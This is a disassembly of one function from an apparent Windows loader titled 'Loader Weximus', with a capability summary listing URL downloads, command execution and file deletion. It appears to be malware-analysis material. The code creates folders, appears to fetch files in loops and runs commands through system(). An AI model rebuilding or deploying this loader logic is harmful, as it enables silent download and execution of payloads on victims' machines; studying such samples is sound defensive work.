Function at 0x1400114b5
Capabilities:
Create directory
Delete file
Download url
Execute command
Receive data
Set console window title

Disassembly:
jmp 0x140019050
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x112
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002a040]
xor rax, rbp
mov qword [rbp + 0x670], rax
lea rcx, [0x1400300f6]
call fcn.1400116db
nop
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_setlocale]
nop
lea rcx, str.Loading...
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_GetWindowRect]
nop
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x12c
mov r9d, 0x320
mov r8d, dword [rbp + 0x2c]
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_MoveWindow]
nop
lea rcx, str.Loader_Weximus
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
lea rcx, [0x140025bf0]
call fcn.14001132f
nop
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [0x140025c1c]
call qword [sym.imp.ucrtbased.dll_system]
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, [0x140025c20]
lea rcx, [rbp + 0x518]
call fcn.1400112f3
nop
lea rdx, [rbp + 0x518]
lea rcx, [0x14002a520]
call fcn.140011258
nop
lea rcx, [rbp + 0x518]
call fcn.14001113b
nop
lea rdx, [0x140025c40]
lea rcx, [rbp + 0x558]
call fcn.1400112f3
nop
lea rdx, [rbp + 0x558]
lea rcx, [0x14002a520]
call fcn.140011258
nop
lea rcx, [rbp + 0x558]
call fcn.14001113b
nop
lea rdx, [0x140025c58]
lea rcx, [rbp + 0x598]
call fcn.1400112f3
nop
lea rdx, [rbp + 0x598]
lea rcx, [0x14002a608]
call fcn.140011258
nop
lea rcx, [rbp + 0x598]
call fcn.14001113b
nop
lea rdx, [0x140025c70]
lea rcx, [rbp + 0x5d8]
call fcn.1400112f3
nop
lea rdx, [rbp + 0x5d8]
lea rcx, [0x14002a500]
call fcn.140011258
nop
lea rcx, [rbp + 0x5d8]
call fcn.14001113b
nop
lea rdx, [0x140025c98]
lea rcx, [rbp + 0x618]
call fcn.1400112f3
nop
lea rdx, [rbp + 0x618]
lea rcx, [0x14002a500]
call fcn.140011258
nop
lea rcx, [rbp + 0x618]
call fcn.14001113b
nop
mov eax, 0x28
imul rax, rax, 0
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
lea rdx, [0x140025cc0]
mov rcx, rax
call fcn.14001103c
nop
mov eax, 0x28
imul rax, rax, 0
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 4
imul rcx, rcx, 0
lea rdx, [0x14002a4c0]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
lea rcx, [0x14002a4c0]
cmp dword [rcx + rax], 0
jne 0x1400192e9
mov eax, 0x28
imul rax, rax, 0
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
mov rdx, rax
lea rcx, [0x140025ce0]
call fcn.14001132f
nop
mov eax, 0x28
imul rax, rax, 1
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
lea rdx, [0x140025d10]
mov rcx, rax
call fcn.14001103c
nop
mov eax, 0x28
imul rax, rax, 1
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 4
imul rcx, rcx, 1
lea rdx, [0x14002a4c0]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 1
lea rcx, [0x14002a4c0]
cmp dword [rcx + rax], 0
jne 0x14001938f
mov eax, 0x28
imul rax, rax, 1
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
mov rdx, rax
lea rcx, str.___
call fcn.14001132f
nop
mov eax, 0x28
imul rax, rax, 2
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
lea rdx, [0x140025d68]
mov rcx, rax
call fcn.14001103c
nop
mov eax, 0x28
imul rax, rax, 2
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 4
imul rcx, rcx, 2
lea rdx, [0x14002a4c0]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 2
lea rcx, [0x14002a4c0]
cmp dword [rcx + rax], 0
jne 0x140019435
mov eax, 0x28
imul rax, rax, 2
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
mov rdx, rax
lea rcx, str.___
call fcn.14001132f
nop
mov eax, 0x28
imul rax, rax, 3
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
lea rdx, [0x140025d88]
mov rcx, rax
call fcn.14001103c
nop
mov eax, 0x28
imul rax, rax, 3
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 4
imul rcx, rcx, 3
lea rdx, [0x14002a4c0]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 3
lea rcx, [0x14002a4c0]
cmp dword [rcx + rax], 0
jne 0x1400194db
mov eax, 0x28
imul rax, rax, 3
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
mov rdx, rax
lea rcx, str.___
call fcn.14001132f
nop
mov eax, 0x28
imul rax, rax, 4
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
lea rdx, [0x140025da8]
mov rcx, rax
call fcn.14001103c
nop
mov eax, 0x28
imul rax, rax, 4
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, 4
imul rcx, rcx, 4
lea rdx, [0x14002a4c0]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 4
lea rcx, [0x14002a4c0]
cmp dword [rcx + rax], 0
jne 0x140019581
mov eax, 0x28
imul rax, rax, 4
lea rcx, [0x14002a540]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.1400110aa
mov rdx, rax
lea rcx, str.___
call fcn.14001132f
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [0x140025c1c]
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [0x140025dd0]
call fcn.14001132f
nop
mov dword [rbp + 0x54], 0
jmp 0x1400195b9
mov eax, dword [rbp + 0x54]
inc eax
mov dword [rbp + 0x54], eax
movsxd rax, dword [rbp + 0x54]
mov qword [rbp + 0x668], rax
lea rcx, [0x14002a520]
call fcn.140011262
mov rcx, qword [rbp + 0x668]
cmp rcx, rax
jae 0x1400196e3
movsxd rax, dword [rbp + 0x54]
mov rdx, rax
lea rcx, [0x14002a520]
call fcn.1400111fe
mov r8, rax
lea rdx, [0x14002a650]
lea rcx, [rbp + 0x78]
call fcn.140011587
nop
movsxd rax, dword [rbp + 0x54]
mov rdx, rax
lea rcx, [0x14002a520]
call fcn.1400111fe
mov r8, rax
lea rdx, [0x14002a628]
lea rcx, [rbp + 0xb8]
call fcn.140011587
nop
lea rcx, [rbp + 0xb8]
call fcn.1400110aa
mov qword [rbp + 0x668], rax
lea rcx, [rbp + 0x78]
call fcn.1400110aa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x668]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.14001119a
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0
jne 0x1400196c7
lea rcx, [rbp + 0xb8]
call fcn.1400110aa
mov qword [rbp + 0x668], rax
lea rcx, [0x14002a520]
call fcn.140011262
movsxd rcx, dword [rbp + 0x54]
sub rax, rcx
mov ecx, 0x64
sub rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x668]
mov r8, rcx
mov rdx, rax
lea rcx, str._n___d___
call fcn.14001132f
nop
lea rcx, [rbp + 0xb8]
call fcn.14001113b
nop
lea rcx, [rbp + 0x78]
call fcn.14001113b
nop
jmp 0x1400195b1
mov dword [rbp + 0x114], 0
jmp 0x1400196fd
mov eax, dword [rbp + 0x114]
inc eax
mov dword [rbp + 0x114], eax
movsxd rax, dword [rbp + 0x114]
mov qword [rbp + 0x668], rax
lea rcx, [0x14002a608]
call fcn.140011262
mov rcx, qword [rbp + 0x668]
cmp rcx, rax
jae 0x14001983c
movsxd rax, dword [rbp + 0x114]
mov rdx, rax
lea rcx, [0x14002a608]
call fcn.1400111fe
mov r8, rax
lea rdx, [0x14002a650]
lea rcx, [rbp + 0x138]
call fcn.140011587
nop
movsxd rax, dword [rbp + 0x114]
mov rdx, rax
lea rcx, [0x14002a608]
call fcn.1400111fe
mov r8, rax
lea rdx, [0x14002a4d8]
lea rcx, [rbp + 0x178]
call fcn.140011587
nop
lea rcx, [rbp + 0x178]
call fcn.1400110aa
mov qword [rbp + 0x668], rax
lea rcx, [rbp + 0x138]
call fcn.1400110aa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x668]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.14001119a
mov dword [rbp + 0x1b4], eax
cmp dword [rbp + 0x1b4], 0
jne 0x14001981d
lea rcx, [rbp + 0x178]
call fcn.1400110aa
mov qword [rbp + 0x668], rax
lea rcx, [0x14002a608]
call fcn.140011262
movsxd rcx, dword [rbp + 0x114]
sub rax, rcx
mov ecx, 0x64
sub rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x668]
mov r8, rcx
mov rdx, rax
lea rcx, str.__d___
call fcn.14001132f
nop
lea rcx, [rbp + 0x178]
call fcn.14001113b
nop
lea rcx, [rbp + 0x138]
call fcn.14001113b
nop
jmp 0x1400196ef
mov dword [rbp + 0x1d4], 0
jmp 0x140019856
mov eax, dword [rbp + 0x1d4]
inc eax
mov dword [rbp + 0x1d4], eax
movsxd rax, dword [rbp + 0x1d4]
mov qword [rbp + 0x668], rax
lea rcx, [0x14002a500]
call fcn.140011262
mov rcx, qword [rbp + 0x668]
cmp rcx, rax
jae 0x140019995
movsxd rax, dword [rbp + 0x1d4]
mov rdx, rax
lea rcx, [0x14002a500]
call fcn.1400111fe
mov r8, rax
lea rdx, [0x14002a650]
lea rcx, [rbp + 0x1f8]
call fcn.140011587
nop
movsxd rax, dword [rbp + 0x1d4]
mov rdx, rax
lea rcx, [0x14002a500]
call fcn.1400111fe
mov r8, rax
lea rdx, [0x14002a628]
lea rcx, [rbp + 0x238]
call fcn.140011587
nop
lea rcx, [rbp + 0x238]
call fcn.1400110aa
mov qword [rbp + 0x668], rax
lea rcx, [rbp + 0x1f8]
call fcn.1400110aa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x668]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call fcn.14001119a
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 0
jne 0x140019976
lea rcx, [rbp + 0x238]
call fcn.1400110aa
mov qword [rbp + 0x668], rax
lea rcx, [0x14002a500]
call fcn.140011262
movsxd rcx, dword [rbp + 0x1d4]
sub rax, rcx
mov ecx, 0x64
sub rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x668]
mov r8, rcx
mov rdx, rax
lea rcx, str.__d___
call fcn.14001132f
nop
lea rcx, [rbp + 0x238]
call fcn.14001113b
nop
lea rcx, [rbp + 0x1f8]
call fcn.14001113b
nop
jmp 0x140019848
lea rcx, [0x140025e68]
call fcn.14001132f
nop
lea rcx, [0x140025e90]
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [0x140025ed0]
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [0x140025c1c]
call qword [sym.imp.ucrtbased.dll_system]
nop
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, str._n___
call fcn.14001132f
nop
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x298]
call fcn.1400116cc
nop
lea rdx, [0x140025f30]
lea rcx, [rbp + 0x298]
call fcn.14001103c
nop
lea rcx, [rbp + 0x298]
call fcn.1400110aa
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [0x140026140]
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
nop
mov dword [rbp + 0x654], 0
lea rcx, [rbp + 0x298]
call fcn.14001113b
mov eax, dword [rbp + 0x654]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400254f0]
call fcn.1400115a5
mov eax, edi
mov rcx, qword [rbp + 0x670]
xor rcx, rbp
call fcn.14001134d
lea rsp, [rbp + 0x688]
pop rdi
pop rbp
ret